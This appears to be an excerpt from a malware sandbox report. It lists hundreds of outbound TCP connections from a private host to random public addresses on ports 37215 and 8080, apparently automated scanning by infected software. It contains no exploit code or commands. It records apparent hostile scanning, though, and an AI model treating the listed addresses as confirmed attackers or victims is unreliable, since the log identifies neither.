Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.216.237.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.169.168.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.113.251.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.10.181.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.108.145.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.21.122.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 158.229.95.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.64.80.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.220.30.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.215.142.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.198.53.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.27.88.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.45.94.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 51.239.233.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.11.217.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.66.22.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.206.41.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.170.242.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 74.127.7.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 86.202.7.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.31.201.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.150.193.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.156.138.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.248.109.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 54.167.85.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.155.112.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.242.208.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.161.19.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.39.246.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.187.68.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 75.123.106.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.59.113.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 77.216.185.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.114.198.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.157.109.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.156.229.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.13.227.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 191.168.193.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 78.7.16.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 216.131.22.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.133.246.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.202.210.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.23.137.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.205.211.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 202.192.14.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 156.250.56.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.210.128.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.125.194.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 13.76.43.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.233.161.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.55.16.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.161.144.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.64.78.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.121.126.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 222.165.82.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 108.197.37.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.115.96.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.9.139.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 93.221.14.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.40.219.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.219.246.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.160.166.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.190.121.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.22.159.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.170.8.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 158.204.120.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.59.100.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 152.24.211.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 97.31.113.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.5.207.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 159.156.53.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.51.88.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.189.134.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.11.64.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.234.212.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.14.185.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.247.107.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.28.202.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.52.174.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 187.194.78.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.12.35.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 102.76.160.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 111.44.97.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 120.200.233.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.102.109.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.73.94.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.127.87.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 34.118.134.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.207.23.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 196.118.96.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.205.48.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.71.191.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.12.252.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 148.113.115.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.255.195.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 212.139.48.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.80.86.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.5.139.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 104.236.39.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 125.182.113.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.12.174.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.72.208.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.83.112.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.245.74.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.240.10.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.93.255.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.79.247.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.245.133.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.248.190.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.252.151.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.115.220.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.21.174.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 61.55.24.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 104.78.75.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.122.119.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.55.31.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.97.69.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 81.238.72.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 48.55.239.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.245.225.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 190.89.177.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 54.67.45.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 181.115.252.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.147.236.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.4.138.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.24.50.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 68.1.66.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.158.69.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 90.27.132.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.109.170.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 135.208.255.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.62.24.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.225.98.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 155.55.101.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.184.185.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.38.87.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.83.75.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.139.59.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.162.173.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.231.188.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.7.122.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.161.132.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.110.143.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 67.255.169.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 151.67.231.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.146.119.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.134.40.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.58.219.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.252.179.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.207.89.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.34.211.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 152.74.124.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 52.199.137.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.155.72.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.224.130.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.253.92.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.148.138.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.143.152.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.125.68.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.112.249.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.159.115.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.28.58.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.8.46.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.175.210.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.236.60.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.214.153.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.191.151.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.165.79.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.114.250.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.108.230.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.106.40.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.21.220.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.254.202.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 122.64.234.242:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 17.115.217.243:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 143.135.135.9:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 198.166.23.242:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 40.102.211.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 75.142.66.236:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 157.142.132.171:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 82.86.91.154:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 121.171.78.116:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 164.115.167.234:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 89.228.166.0:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 220.144.117.112:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 200.62.147.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 48.215.33.68:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 78.63.186.143:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 177.82.127.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 153.178.105.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 35.84.63.208:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 161.14.117.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 84.93.114.65:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 131.118.27.224:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 24.252.123.147:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 75.104.222.4:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 131.172.240.156:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 190.125.6.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 66.85.82.90:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 43.227.201.1:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 46.43.71.42:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 173.210.44.151:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 87.187.92.23:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 181.189.150.90:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 83.181.135.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 146.51.205.35:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 47.190.94.196:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 54.79.142.136:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 101.116.31.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 164.38.6.162:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 219.18.24.97:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 134.133.25.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 216.225.123.98:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 48.126.59.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 20.58.44.46:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 105.65.197.6:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 148.197.198.249:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 79.202.163.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 104.117.59.237:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 123.71.15.57:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 122.91.89.239:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 87.34.83.9:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 69.221.5.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 142.16.153.244:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 116.108.54.247:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 141.244.67.233:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 41.165.153.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 197.170.171.188:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 25.178.142.9:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 118.109.98.193:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 4.212.229.253:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 86.31.233.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 82.228.180.243:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 165.217.25.156:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 23.243.70.250:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 41.0.226.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 95.74.188.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 44.167.144.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 34.202.151.230:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 66.170.71.194:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 43.97.130.43:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 123.51.207.165:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 138.102.200.237:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 175.122.176.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 184.230.149.244:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 66.153.161.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 102.104.73.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 176.80.119.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 163.220.252.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 94.135.251.216:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 170.75.172.129:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 103.52.30.11:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 2.97.217.111:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 96.122.143.170:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 5.208.213.163:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 37.57.253.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 108.125.50.70:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 213.4.244.165:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 171.235.33.137:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 98.192.136.74:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 163.88.124.234:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 200.241.166.215:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 73.71.31.109:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 205.113.77.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 51.164.245.3:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 71.202.103.66:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 134.174.101.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 105.92.161.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 194.111.242.59:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 13.113.24.241:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 220.70.60.124:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 164.173.143.62:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 87.67.8.229:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 194.240.231.26:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 166.197.15.216:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 208.168.180.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 53.156.133.116:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 67.39.126.82:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 194.51.153.5:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 220.218.200.235:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 51.244.250.221:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 101.222.8.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 90.73.169.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 115.13.103.197:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 203.144.144.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 129.143.191.57:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 72.206.95.238:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 176.23.244.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 85.161.203.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 140.246.252.105:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 93.10.192.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 69.212.87.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 152.59.79.150:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 141.142.60.116:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 95.157.185.244:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 183.127.244.216:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 200.19.53.80:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 130.233.38.70:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 48.251.245.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 106.205.36.202:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 130.199.12.170:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 162.83.38.88:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 49.84.157.0:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 59.155.26.134:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 111.3.11.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 27.144.36.219:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 146.181.131.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 126.149.179.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 24.7.193.21:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 72.112.56.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 97.62.31.35:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 151.14.153.162:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 82.221.111.17:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 151.230.128.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 113.72.167.166:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 79.241.22.207:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 122.149.48.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 124.174.248.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 108.40.52.206:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 46.58.6.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 89.102.128.152:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 148.78.129.169:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 210.161.54.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 31.91.89.144:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 184.163.118.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 205.51.54.137:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 191.124.187.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 35.171.1.20:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 169.214.78.95:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 42.73.252.176:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 113.140.67.211:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 70.78.13.238:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 34.9.104.171:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 165.56.15.143:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 32.253.194.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 157.151.184.98:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 85.167.58.212:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 116.85.113.9:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 73.85.134.102:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 70.107.245.115:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 126.178.104.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 149.202.97.27:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 114.217.22.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 140.109.196.27:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 62.41.94.12:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 120.209.190.218:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 64.72.10.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 35.171.99.15:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 157.228.215.80:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 31.82.54.5:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 157.47.211.31:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 218.185.252.48:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 111.28.187.83:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 76.106.134.53:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 210.221.173.234:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 39.82.179.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 71.108.171.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 103.102.170.194:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 43.10.226.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 68.194.105.87:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 87.171.123.131:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 77.159.14.128:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 204.31.220.28:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 219.62.59.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 190.52.38.119:8080
